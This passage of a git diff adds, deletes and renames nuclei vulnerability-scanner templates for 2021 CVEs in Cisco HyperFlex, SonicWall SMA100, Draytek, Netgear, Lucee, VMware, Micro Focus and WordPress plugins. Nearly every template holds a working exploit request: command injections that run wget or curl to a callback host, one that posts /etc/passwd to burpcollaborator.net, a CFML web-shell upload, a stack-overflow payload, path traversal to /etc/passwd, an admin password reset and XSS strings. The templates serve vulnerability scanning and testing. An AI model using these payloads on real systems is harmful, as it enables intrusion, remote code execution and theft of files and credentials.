CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-1497 - cwe-id: CWE-78 - tags: cve,cve2021,cisco,rce,oast - -requests: - - raw: - - | - POST /auth/change HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Content-Type: application/x-www-form-urlencoded - - username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"wget http://{{interactsh-url}}\");print(crypt.crypt(\"')}} - - - | - POST /auth HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Content-Type: application/x-www-form-urlencoded - - username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"wget http://{{interactsh-url}}\");print(crypt.crypt(\"')}} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/04/29 diff --git a/nuclei-templates/CVE-2021/CVE-2021-1498.yaml b/nuclei-templates/CVE-2021/CVE-2021-1498.yaml deleted file mode 100644 index cbdd0306b0..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-1498.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2021-1498 - -info: - name: Cisco HyperFlex HX Data Platform - Remote Command Execution - author: gy741 - severity: critical - description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. - reference: - - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-1498 - - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html - - https://twitter.com/Unit42_Intel/status/1402655493735206915 - - https://twitter.com/ptswarm/status/1390300625129201664 - - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution - - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-1498 - cwe-id: CWE-78 - tags: cve,cve2021,cisco,rce,oast,mirai - -requests: - - raw: - - | - POST /storfs-asup HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Content-Type: application/x-www-form-urlencoded - - action=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}` - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/04/29 diff --git a/nuclei-templates/CVE-2021/CVE-2021-20038.yaml b/nuclei-templates/CVE-2021/CVE-2021-20038.yaml new file mode 100644 index 0000000000..38e1264705 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-20038.yaml @@ -0,0 +1,52 @@ +id: CVE-2021-20038 + +info: + name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution + author: dwisiswant0, jbaines-r7 + severity: critical + description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions. + reference: + - https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis + - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026 + - https://nvd.nist.gov/vuln/detail/CVE-2021-20038 + - https://github.com/jbaines-r7/badblood + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-20038 + cwe-id: CWE-787 + epss-score: 0.95323 + tags: cve,cve2021,overflow,rce,sonicwall,kev + metadata: + max-request: 2 + +variables: + useragent: '{{rand_base(6)}}' + +http: + - raw: + - | + GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat("A", 518)}} HTTP/1.1 + Host: {{Hostname}} + + attack: clusterbomb + payloads: + prefix_addr: + - "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf" # stack's top address + system_addr: + - "%08%b7%06%08" # for 10.2.1.2-24sv + - "%64%b8%06%08" # for 10.2.1.1-1[79]sv + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + + - type: word + part: interactsh_request + words: + - "User-Agent: {{useragent}}" + +# Enhanced by mp on 2022/04/29 diff --git a/nuclei-templates/CVE-2021/CVE-2021-20123.yaml b/nuclei-templates/CVE-2021/CVE-2021-20123.yaml new file mode 100644 index 0000000000..f9e9b8b2ca --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-20123.yaml @@ -0,0 +1,35 @@ +id: CVE-2021-20123 + +info: + name: Draytek VigorConnect - Unauthenticated Local File Inclusion DownloadFileServlet + author: 0x_Akoko + severity: high + description: A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges. + reference: + - https://www.tenable.com/security/research/tra-2021-42 + - https://www.cvedetails.com/cve/CVE-2021-20123/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-20123 + cwe-id: CWE-22 + tags: cve,cve2021,draytek,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything" + - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + - "for 16-bit app support" + condition: or + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-20124.yaml b/nuclei-templates/CVE-2021/CVE-2021-20124.yaml new file mode 100644 index 0000000000..83e0c0386a --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-20124.yaml @@ -0,0 +1,35 @@ +id: CVE-2021-20124 + +info: + name: Draytek VigorConnect - Unauthenticated Local File Inclusion WebServlet + author: 0x_Akoko + severity: high + description: A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges. + reference: + - https://www.tenable.com/security/research/tra-2021-42 + - https://www.cvedetails.com/cve/CVE-2021-20124 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-20124 + cwe-id: CWE-22 + tags: cve,cve2021,draytek,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd" + - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + - "for 16-bit app support" + condition: or + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-20137.yaml b/nuclei-templates/CVE-2021/CVE-2021-20137.yaml new file mode 100644 index 0000000000..ec87cd9710 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-20137.yaml @@ -0,0 +1,35 @@ +id: CVE-2021-20137 +info: + name: Gryphon Tower - Reflected XSS + author: edoardottt + severity: medium + description: A reflected cross-site scripting vulnerability exists in the url parameter of the /cgi-bin/luci/site_access/ page on the Gryphon Tower router's web interface. An attacker could exploit this issue by tricking a user into following a specially crafted link, granting the attacker javascript execution in the context of the victim's browser. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-20137 + cwe-id: CWE-79 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-20137 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20137 + - https://www.tenable.com/security/research/tra-2021-51 + tags: cve,cve2021,gryphon,xss +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: header + words: + - "text/html" + - type: word + part: body + words: + - 'onfocus=alert(document.domain) autofocus=1>' + - 'Send Access Request URL' + condition: and diff --git a/nuclei-templates/CVE-2021/CVE-2021-20158.yaml b/nuclei-templates/CVE-2021/CVE-2021-20158.yaml deleted file mode 100644 index 2632506f0e..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-20158.yaml +++ /dev/null @@ -1,63 +0,0 @@ -id: CVE-2021-20158 - -info: - name: Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change - author: gy741 - severity: critical - description: Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command. - remediation: | - Upgrade to the latest firmware version provided by Trendnet to fix the vulnerability. - reference: - - https://www.tenable.com/security/research/tra-2021-54 - - https://nvd.nist.gov/vuln/detail/CVE-2021-20150 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-20158 - cwe-id: CWE-306 - epss-score: 0.01211 - epss-percentile: 0.83684 - cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: trendnet - product: tew-827dru_firmware - shodan-query: http.html:"TEW-827DRU" - tags: disclosure,router,intrusive,tenable,cve,cve2021,trendnet -variables: - password: "{{rand_base(6)}}" - -http: - - raw: - - | - POST /apply_sec.cgi HTTP/1.1 - Host: {{Hostname}} - - ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password={{password}} - - | - POST /apply_sec.cgi HTTP/1.1 - Host: {{Hostname}} - - html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass={{base64(password)}}&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id= - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'setConnectDevice' - - 'setInternet' - - 'setWlanSSID' - - 'TEW-827DRU' - condition: and - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 - -# digest: 4b0a00483046022100e15be90cc09aaee56da2b77c6275476abc1df590621971793c44acc377119b650221009fda9d977e8181205a88397c477647b5d3e8936dad723f338b0dc445eedded28:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/CVE-2021-20167.yaml b/nuclei-templates/CVE-2021/CVE-2021-20167.yaml deleted file mode 100644 index 57705f3636..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-20167.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-20167 - -info: - name: Netgear RAX43 1.0.3.96 - Command Injection/Authentication Bypass Buffer Overrun - author: gy741 - severity: high - description: 'Netgear RAX43 version 1.0.3.96 contains a command injection and authentication bypass vulnerability. The readycloud_control.cgi CGI application is vulnerable to command injection in the name parameter. Additionally, the URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the application. Note: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167.' - reference: - - https://www.tenable.com/security/research/tra-2021-55 - - https://nvd.nist.gov/vuln/detail/CVE-2021-20166 - - https://nvd.nist.gov/vuln/detail/CVE-2021-20167 - remediation: Upgrade to newer release of the RAX43 firmware. - classification: - cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8 - cve-id: CVE-2021-20167 - cwe-id: CWE-77 - epss-score: 0.95998 - tags: tenable,cve,cve2021,netgear,rce,router - metadata: - max-request: 1 - -http: - - raw: - - | - POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1 - Host: {{Hostname}} - - "name":"';$(curl {{interactsh-url}});'", - "email":"a@b.c" - - matchers: - - type: word - part: interactsh_protocol - words: - - "http" - -# Enhanced by mp on 2022/05/05 diff --git a/nuclei-templates/CVE-2021/CVE-2021-21307.yaml b/nuclei-templates/CVE-2021/CVE-2021-21307.yaml deleted file mode 100644 index 209c9396d3..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-21307.yaml +++ /dev/null @@ -1,88 +0,0 @@ -id: CVE-2021-21307 - -info: - name: Lucee Admin - Remote Code Execution - author: dhiyaneshDk - severity: critical - description: Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability. - reference: - - https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r - - https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md - - https://nvd.nist.gov/vuln/detail/CVE-2021-21307 - remediation: This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-21307 - cwe-id: CWE-862 - tags: cve,cve2021,rce,lucee,adobe - -requests: - - raw: - - | - POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - imgSrc=a - - | - POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - imgSrc= - - - - - - - -
    Command:value="#form.cmd#">
    Options: value="#form.opts#">
    Timeout: value="#form.timeout#" - value="5">
    - - - - - - - - 
    -        #HTMLCodeFormat(myVar)#
-
    -     - - - - | - POST /lucee/{{randstr}}.cfm HTTP/1.1 - Host: {{Hostname}} - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 - Content-Type: application/x-www-form-urlencoded - - cmd=id&opts=&timeout=5 - - matchers-condition: and - matchers: - - type: word - words: - - "uid=" - - "gid=" - - "groups=" - part: body - condition: and - - - type: status - status: - - 200 - - extractors: - - type: regex - regex: - - "(u|g)id=.*" - -# Enhanced by mp on 2022/05/05 diff --git a/nuclei-templates/CVE-2021/CVE-2021-21802.yaml b/nuclei-templates/CVE-2021/CVE-2021-21802.yaml new file mode 100644 index 0000000000..a3eeb5f61e --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-21802.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-21802 + +info: + name: Advantech R-SeeNet device_id parameter - Reflected Cross-Site Scripting (XSS) + author: gy741 + severity: medium + description: This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution. + reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272 + tags: cve,cve2021,r-seenet,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22' + + matchers-condition: and + matchers: + - type: word + words: + - '"zlo onerror=alert(1) "' + - 'Device Status Graph' + part: body + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-21803.yaml b/nuclei-templates/CVE-2021/CVE-2021-21803.yaml new file mode 100644 index 0000000000..93a8fcf35e --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-21803.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-21803 + +info: + name: Advantech R-SeeNet is2sim parameter - Reflected Cross-Site Scripting (XSS) + author: gy741 + severity: medium + description: This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution. + reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272 + tags: cve,cve2021,r-seenet,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22' + + matchers-condition: and + matchers: + - type: word + words: + - '"zlo onerror=alert(1) "' + - 'Device Status Graph' + part: body + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-21881.yaml b/nuclei-templates/CVE-2021/CVE-2021-21881.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-21881.yaml rename to nuclei-templates/CVE-2021/CVE-2021-21881.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-21973.yaml b/nuclei-templates/CVE-2021/CVE-2021-21973.yaml deleted file mode 100644 index d6682e51f8..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-21973.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-21973 - -info: - name: VMware vCenter Unauthenticated SSRF - author: pdteam - severity: medium - description: The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2). - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-21973 - - https://twitter.com/osama_hroot/status/1365586206982082560 - - https://twitter.com/bytehx343/status/1486582542807420928 - tags: cve,cve2021,vmware,ssrf,vcenter,oast - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2021-21973 - cwe-id: CWE-918 - -requests: - - raw: - - | - GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1 - Host: {{Hostname}} - Vcip: {{interactsh-url}} - Vcpassword: {{rand_base(6)}} - Vcusername: {{rand_base(6)}} - Reqresource: {{rand_base(6)}} - - matchers-condition: and - matchers: - - type: status - status: - - 500 - - - type: word - part: body - words: - - "The server sent HTTP status code 200" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-22005.yaml b/nuclei-templates/CVE-2021/CVE-2021-22005.yaml deleted file mode 100644 index 2cca00890e..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-22005.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2021-22005 - -info: - name: VMware vCenter Server - Arbitrary File Upload - author: PR3R00T - severity: critical - description: VMware vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file. - reference: - - https://kb.vmware.com/s/article/85717 - - https://www.vmware.com/security/advisories/VMSA-2021-0020.html - - https://core.vmware.com/vmsa-2021-0020-questions-answers-faq - - https://nvd.nist.gov/vuln/detail/CVE-2021-22005 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-22005 - cwe-id: CWE-434 - epss-score: 0.97434 - tags: cve,cve2021,vmware,vcenter,fileupload,kev,intrusive - metadata: - max-request: 2 - -http: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - - | - POST /analytics/telemetry/ph/api/hyper/send?_c&_i=test HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - test_data - - req-condition: true - matchers: - - type: dsl - dsl: - - "status_code_1 == 200" - - "status_code_2 == 201" - - "contains(body_1, 'VMware vSphere')" - - "content_length_2 == 0" - condition: and - -# Enhanced by mp on 2022/05/05 diff --git a/nuclei-templates/CVE-2021/CVE-2021-22054.yaml b/nuclei-templates/CVE-2021/CVE-2021-22054.yaml deleted file mode 100644 index 1599beb9ec..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-22054.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2021-22054 -info: - name: VMWare Workspace ONE UEM - Server-Side Request Forgery - author: h1ei1 - severity: high - description: VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain a server-side request forgery vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information. - reference: - - https://blog.assetnote.io/2022/04/27/vmware-workspace-one-uem-ssrf/ - - https://www.vmware.com/security/advisories/VMSA-2021-0029.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-22054 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-22054 - cwe-id: CWE-918 - metadata: - fofa-query: banner="/AirWatch/default.aspx" || header="/AirWatch/default.aspx" - tags: cve,cve2021,vmware,workspace,ssrf -requests: - - method: GET - path: - - "{{BaseURL}}/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A" - matchers-condition: and - matchers: - - type: word - words: - - "Interactsh Server" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/27 diff --git a/nuclei-templates/CVE-2021/CVE-2021-22122.yaml b/nuclei-templates/CVE-2021/CVE-2021-22122.yaml new file mode 100644 index 0000000000..213b811b3d --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-22122.yaml @@ -0,0 +1,34 @@ +id: CVE-2021-22122 + +info: + name: FortiWeb v6.3.x-6.2.x Unauthenticated XSS + author: dwisiswant0 + severity: medium + description: An improper neutralization of input during web page generation in FortiWeb GUI interface 6.3.0 through 6.3.7 and version before 6.2.4 may allow an unauthenticated, remote attacker to perform a reflected cross site scripting attack (XSS) by injecting malicious payload in different vulnerable API end-points. + reference: | + - https://www.fortiguard.com/psirt/FG-IR-20-122 + - https://twitter.com/ptswarm/status/1357316793753362433 + + tags: cve,cve2021,fortiweb,xss + + # FortiWeb GUI interface may allow an unauthenticated, remote attacker + # to perform a reflected cross site scripting attack (XSS) by injecting + # malicious payload in different vulnerable API end-points. + # - + # References: + # - https://www.fortiguard.com/psirt/FG-IR-20-122 + # - https://twitter.com/ptswarm/status/1357316793753362433 + +requests: + - method: GET + path: + - "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//" + - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('nuclei');//" + matchers-condition: and + matchers: + - type: word + words: + - "nuclei" + - "No policy has been chosen." + condition: and + part: body diff --git a/nuclei-templates/CVE-2021/CVE-2021-22502.yaml b/nuclei-templates/CVE-2021/CVE-2021-22502.yaml deleted file mode 100644 index 836561af0f..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-22502.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-22502 -info: - name: Micro Focus Operation Bridge Reporter (OBR) RCE - author: pikpikcu - severity: critical - reference: | - https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22502 - tags: cve,cve2021,obr,rce -requests: - - raw: - - | - POST /AdminService/urest/v1/LogonResource HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - Content-Length: 69 - {"userName":"administrator","credential":"password"} - - | - POST /AdminService/urest/v1/LogonResource HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - Content-Length: 69 - {"userName":"something `wget --post-file /etc/passwd burpcollaborator.net`","credential":"whatever"} - matchers-condition: and - matchers: - - type: word - words: - - "application/json" - part: header - - type: word - words: - - "An error occurred. Please contact your system administrator" - part: body - condition: and - - type: status - status: - - 401 diff --git a/nuclei-templates/CVE-2021/cve-2021-22873.yaml b/nuclei-templates/CVE-2021/CVE-2021-22873.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-22873.yaml rename to nuclei-templates/CVE-2021/CVE-2021-22873.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-24210.yaml b/nuclei-templates/CVE-2021/CVE-2021-24210.yaml deleted file mode 100644 index 66627bd36e..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24210.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: CVE-2021-24210 - -info: - name: PhastPress < 1.111 - Open Redirect - author: 0x_Akoko - description: There is an open redirect in the plugin that allows an attacker to malform a request to a page with the plugin and then redirect the victim to a malicious page. - reference: https://wpscan.com/vulnerability/9b3c5412-8699-49e8-b60c-20d2085857fb - severity: low - tags: wordpress,cve,cve2021,redirect - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/phastpress/phast.php?service=scripts&src=https%3A%2F%2Fexample.com" - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' - part: header diff --git a/nuclei-templates/CVE-2021/CVE-2021-24276.yaml b/nuclei-templates/CVE-2021/CVE-2021-24276.yaml new file mode 100644 index 0000000000..f9934c16fb --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-24276.yaml @@ -0,0 +1,33 @@ +id: CVE-2021-24276 +info: + name: Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS) + author: dhiyaneshDK + severity: medium + description: The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue + reference: + - https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c + - https://nvd.nist.gov/vuln/detail/CVE-2021-24276 + - http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-24276 + cwe-id: CWE-79 + tags: wordpress,cve,cve2021,wp-plugin +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + - type: status + status: + - 200 + - type: word + words: + - "text/html" + part: header diff --git a/nuclei-templates/CVE-2021/CVE-2021-24291.yaml b/nuclei-templates/CVE-2021/CVE-2021-24291.yaml deleted file mode 100644 index 63ca46b69d..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24291.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-24291 - -info: - name: Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS) - author: geeknik - severity: medium - description: The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users) - reference: - - https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a - - https://packetstormsecurity.com/files/162227/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24291 - cwe-id: CWE-79 - tags: cve,cve2021,xss,wordpress,wp-plugin,photo - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1"%20onmouseover=alert(document.domain)//' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - "text/html" - - - type: word - words: - - "onmouseover=alert(document.domain)//" - - "wp-content/uploads/photo-gallery" - condition: and diff --git a/nuclei-templates/CVE-2021/CVE-2021-24407.yaml b/nuclei-templates/CVE-2021/CVE-2021-24407.yaml deleted file mode 100644 index 6a5f152f5c..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-24407.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2021-24407 - -info: - name: Jannah < 5.4.5 - Reflected Cross-Site Scripting (XSS) - author: pikpikcu - severity: medium - description: The Jannah WordPress theme before 5.4.5 did not properly sanitize the 'query' POST parameter in its tie_ajax_search AJAX action, leading to a Reflected Cross-site Scripting (XSS) vulnerability. - reference: - - https://wpscan.com/vulnerability/fba9f010-1202-4eea-a6f5-78865c084153 - - https://nvd.nist.gov/vuln/detail/CVE-2021-24407 - tags: cve,cve2021,wordpress,xss,wp-theme - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - 